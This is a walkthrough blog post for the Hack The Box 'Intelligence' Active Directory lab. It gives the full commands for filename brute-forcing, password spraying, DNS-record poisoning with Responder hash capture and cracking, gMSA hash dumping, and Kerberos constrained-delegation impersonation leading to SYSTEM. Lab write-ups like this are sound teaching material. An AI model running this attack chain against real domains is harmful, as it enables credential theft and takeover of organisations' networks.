Hack The Box: Intelligence

Prelude

Intelligence is an intermediate Windows machine from HTB, developed by Micah. This was a little harder than regular intermediate machines for me, since my Active Directory skills are still under development.

This machine is also one of the few machines (also the first machine I’ve ever encountered) from HTB, where the player only gets a proper shell at the end of the challenge!

Intelligence started with bruteforcing predicatbale PDF names and downloading them, thereby exposing a default password. Also, the downloaded PDF’s EXIF data contained the usernames in the target machine. We can try a password spraying attack with Crakmapexec to crack the first account.

Once, we got an initial foothold, we’ll notice that there is a powershell script running every five minutes, that detects if any webserver is currently down in the target domain. We can use impacket’s dnstool to add ourselves into the domain and then use responder to intercept the user Ted.Grave’s hashes and crack it.

Once we got the password for Ted.Graves, we can continue enumeration and find that the machine is set up with constrained delegation. We can then dump the hash of the gMSA using gMSA dumper and use the it to impersonate administrator to root the machine.

Let’s start the exploitation.

Exploitation

I started the exploitation with an Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.248

And I got the following output.

Nmap scan report for 10.10.10.248
Host is up (0.051s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-08-25 21:21:22Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-08-25T21:22:40+00:00; +6h59m55s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-08-25T21:22:40+00:00; +6h59m56s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-08-25T21:22:40+00:00; +6h59m55s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA

From the open ports, I understood that this was a Windows Domain Controller and the attacks could be Active Directory based attacks.

There was also Microsoft IIS Web server running at port 80. So, I started the enumeration there.

I browsed to http://10.10.10.248 and found the following web page.

Moving around the webpage, I found that there were two links for PDF documents, which were located under http://10.10.10.248/documents directory.

Link 1: http://10.10.10.248/documents/2020-01-01-upload.pdf
Link 2: http://10.10.10.248/documents/2020-12-15-upload.pdf

From the links, I understood that the PDFs are named based on the date they were created. So, I concluded that we could potentially bruteforce the PDF names and download them.

I used the following bash script I got from a stackoverflow thread to generate dates between 2020-01-01 (since it is the lowest date I given in the PDF name) and the current date. This script first generated the date between 2020-01-01 and today‘s date , and appended the string -upload to it.

Bash script to generate the dates:

#!/bin/bash
DATE=2020-01-01

for i in {0..366}
do
       NEXT_DATE=$(date +%Y-%m-%d -d "$DATE + $i day")
          echo "$NEXT_DATE""-upload"
      done

Then I used the ./generate_date.sh > pdfnames to save the contents into a file named pdfnames.

After that, I used the following one liner to recursively download the PDF, using the filenames we generated.

for i in $(cat pdfnames); do wget http://10.10.10.248/documents/$i; done

And I got 99 PDFs. Going through each one of the PDF to find any valuable information was painful, but eventually I’ve found three leads to move on.

First one was a PDF document hinting on the two privilege escalation vectors.

The subsequent clue was a PDF mentioning default password for the newly created accounts.

The password was NewIntelligenceCorpUser9876

The final lead was that each of the PDF had potential usernames in their EXIF data.

I used the following one liner to extract unqiue usernames from the exif data of the PDF documents.

find . *.pdf|xargs exiftool |grep Creator|awk '{print $3}' >  users.txt

So, now I had a default password and a list of potential users. I can now user Crackmapexec to use a password spraying attack to find a valid login.

crackmapexec smb 10.10.10.248  -u valid_users.txt -p NewIntelligenceCorpUser9876

And I’ve found a valid username:password combination.

The credentials were Tiffany.Molina:NewIntelligenceCorpUser9876

I then used this password to login to smbclient to check for shares.

smbclient -L 10.10.10.248 -U Tiffany.Molina%NewIntelligenceCorpUser9876

And I’ve found an interesting share IT.

Escalating Privileges to Ted.Graves

I accessed the share and found a Powershell script named downdetector.ps1.

smbclient  \\\\10.10.10.248\\IT -U Tiffany.Molina%NewIntelligenceCorpUser9876

Contents of downdetector.ps1

This script first collects every domain name that starts with web and checks if they are up by sending a web request to them. The interesting part here is that this script uses Invoke-WebRequest‘s -UseDefaultCredentials flag.

This means that the web request sends the current user’s credentials along with the web request for authentication.

So, in theory, if we can add a DNS record that starts with web, which points to a machine that we control, then we can potentially get the NTLM hash of the user, the script is running as!

I researched ways to add a DNS record to the Domain Controller and found a python script named dnstool.py from the toolkit krbrelayx.

Time Sync with DC using Ntpdate

But before interacting with Kerberos, we have to make sure that our machine’s time is in sync with the target machine. Generally, we can use things like Nmap output, HTTP header etc to determine the target’s time and change our machine time with date command.

But, since we are dealing with a Domain Controller, time sync is pretty simple. Since it is a DC, it will have an NTP service and we can use the following command to sync our machine’s time with the DC automatically.

sudo ntpdate -u 10.10.10.248

If we do not sync our machine’s time with the target DC’s time, then Kerberos connection will fail, throwing a (TIME_SKEW_TOO_GREAT) error. This happens because sending timestamps to the KDC is one of the first things that happen during a Kerberos authentication and if that fails, then the authentication won’t happen.

Now that the time issue has been sorted, let’s add a DNS record to the DC.

I used the dnstool.py script to add an A record websecnigma.intelligence.htb to the DC, which pointed to my IP address.

python dnstool.py -u intelligence.htb\\Tiffany.Molina -p NewIntelligenceCorpUser9876 -r websecnigma.intelligence.htb -a add -d 10.10.14.80 10.10.10.248

Then I started Responder to listen on tun0 interface.

sudo responder -I tun0

For the uninitiated, Responder is an LLMNR, mDNS and NBT-NS poisoner. Which means,  it will listen to multicast NR queries (LLMNR – UDP/5355, NBT-NS – UDP/137) and, under the right conditions, spoof a response – directing the victim to the machine on which it is running. Source

If the target tries to authenticate using the credentials of the user the script is running as, then responder will take care of the authentication and we can extract the NTLM hash of the target account.

After starting Responder, I waited for around five minutes and I got the hash of user Ted.Graves!

I saved the hash into a file and used hashcat to crack the hash.

hashcat -m 5600 ntlm /usr/share/wordlists/rockyou.txt 

I got the hash cracked and the password was Mr.Teddy

I checked the credentials on CrackMapExec and verified it is working.

Privilege Escalation to SYSTEM

I was stuck at privilege escalation of Intelligence for some time. I knew what to do, but I didn’t knew how.

With some research and enumeration, I found that this machine is setup with Constrained Delegation.

What is Kerberos Delegation?

Delegation is an extension to Kerberos authentication, that allows a service account to impersonate a user and authenticate to a second service on behalf of the user.

This article has explained different delegations elegantly. Nevertheless, I’ll also try to explain this in my own way.

High-level view of Kerberos Delegation

Suppose a client wants to access a Webserver which the client have access rights to. He sends his Kerberos Service Token to the Web Server and authenticates with the Web Server. Once the authentication is successful, the Webserver sends the response to the client.

So far so good. But, problems arise when the Web Server needs to access a service, say a backend SQL database service and show the response to the client. The issue is that, the web server have no idea what rights are assigned for the client in the SQL server.

Theoretically, we could allow the Web Server to access any content from the Database; but from a security perspective, this is a huge risk.

To overcome this issue, Microsoft has implemented Kerberos Delegation.

With delegation implemented, when authenticating with the Frontend Webserver, the client will send a forwardable TGT (Ticket Granting Ticket) along with the Service Ticket to the Web Server.

The Webserver will then use the client’s TGT to impersonate the client and request a Service Ticket for the Backend SQL server and authenticates to the backend server as the client.

In this way, the System Administrators can ensure that the Frontend Web server is not given full access to the backend database server, and if the Web server is compromised, this will act as an additional security mechanism in place to deter the attacker.

What are the different types of Delegation?

There are basically three delegation methods. Unconstrained, Constrained and Resource based Constrained Delegation.

Unconstrained Server/Service Account can impersonate any user on any host
Constrained Server/Service Account can impersonate any user on given SPNs

Resource BasedServer/Service Account can impersonate any user only on hosts, that added the delegating Server/Service Account as Trusted. Here, the service decides which Servers/Service Accounts to trust for delegation.

If you still have doubts about different delegations, refer this article to learn them with the help excellent diagrams.

We can check the delegation status of a domain by using a tool called ldapdomaindump tool, written by dirkjanm. This tool enumerates and dumps Active Directory information via LDAP.

I used ldapdomaindump tool with Ted.Grave‘s credentials.

python ldapdomaindump.py -u intelligence.htb\\Ted.Graves -p Mr.Teddy 10.10.10.248

We can check for the delegation status by using the following commands.

grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_TO_AUTH_FOR_DELEGATION  domain_computers.grep

The TRUSTED_FOR_DELEGATION string shows if the server is set with delegation and TRUSTED_TO_AUTH_FOR_DELEGATION string shows the service account set up with the delegation.

From the output of ldapdomaindump tool, I understood that this server has some sort of delegation setup and it was assigned to the service account svc_int$. If you are observant enough, you might’ve noticed the $ at the end of the Service account name. This is because this is a gMSA account. I’ll explain this later. For now, let’s focus on enumerating the delgation.

To findout the delegation type, we can use impacket’s finddelegation.py script.

findDelegation.py intelligence.htb/Ted.Graves:Mr.Teddy
Excellent!

I now know that the server has constrained delegation setup and the resource we have access to is the SPN (Service Principal Name) WWW/dc.intelligence.htb.

This means that if we could compromise the service account svc_int$, then we could impersonate any unprotected user on dc.intelligence.htb and thereby pwn the Domain Controller.

To compromise svc_int$, we need to know what Group Managed Service Accounts (gMSA) are. There are several types of Active Directory Service Accounts. But in this article, I will only be talking about Group Managed Service Accounts (gMSA).

gMSA are special type of service accounts that are directly managed by the Domain Controller. It is more secure than traditional service accounts and only users who have the privileges like PrincipalsAllowedToRetrieveManagedPassword is allowed to look up the password of gMSA accounts.

So, if Ted.Graves have the permission to read password for svc_int$, then we can potentially impersonate Administrator.

To do that, I am going to use a python script written by micahvandeusen called gMSADumper.

This tool checks who can read read password for gMSA accounts and if the current user can dump the password, then dumps it.

findDelegation.py intelligence.htb/Ted.Graves:Mr.Teddy
Success!

MRW Production sends me code that isn't ready - GIF on Imgur
Noice!

I’ve succesfully dumped the hash of gMSA account svc_int$.

If we look closely at the above output, we can see the list of users/groups who can read the password for svc_int$.

One is DC$, which is the domain controller and the other is a group named itsupport.

If we use rpcclient to enumerate the groups Ted.Graves is in, we can see that Ted.Graves is in itsupport group.

Ok, now that we’ve got the gMSA account, the next step is to impersonate the Administrator. So, we need to request a Service Ticket by impersonating the Administrator. To do that, I am going to use Impacket’s getSt.py script.

getST.py intelligence.htb/svc_int$ -hashes 5e47bac787e5e1970cf9acdb5b316239:5e47bac787e5e1970cf9acdb5b316239 -spn WWW/dc.intelligence.htb -impersonate Administrator

And the ticket for Administrator is saved as a ccache file.

We now have the Service Ticket of Administrator for the service WWW/dc.intelligence.htb. Hacktricks explains well about different services and how we can exploit them.

Since this is an HTTP service, we can use PSRemoting.

To do that, I used the following commands.

export KRB5CCNAME=/home/kali/htb/intelligence/local/Administrator.ccache

sudo ntpdate -u 10.10.10.248

impacket-psexec -k -no-pass dc.intelligence.htb
And I’m SYSTEM!

Note: Don’t forget to ntpdate, as it could error out with weird errors!

Wipe Window Glass GIF - Wipe Window Glass Nae Nae - Discover & Share GIFs
w00t!

Postlude

And that was Intelligence!

This was an excellent machine and it really pushed me to my limits by forcing me to perform AD attacks within the Linux environment.

Here are some great guides that helped me solve this machine.

No Shells Required- Article from RedxorBlue

“Relaying” Kerberos – Blog by Dirk-jan Mollema

Kudos to Micah for creating such an incredible Active Directory lesson!

Also massive thanks towards Krose for guiding me when I hit the rock bottom!

Peace out! ✌️

Leave a Comment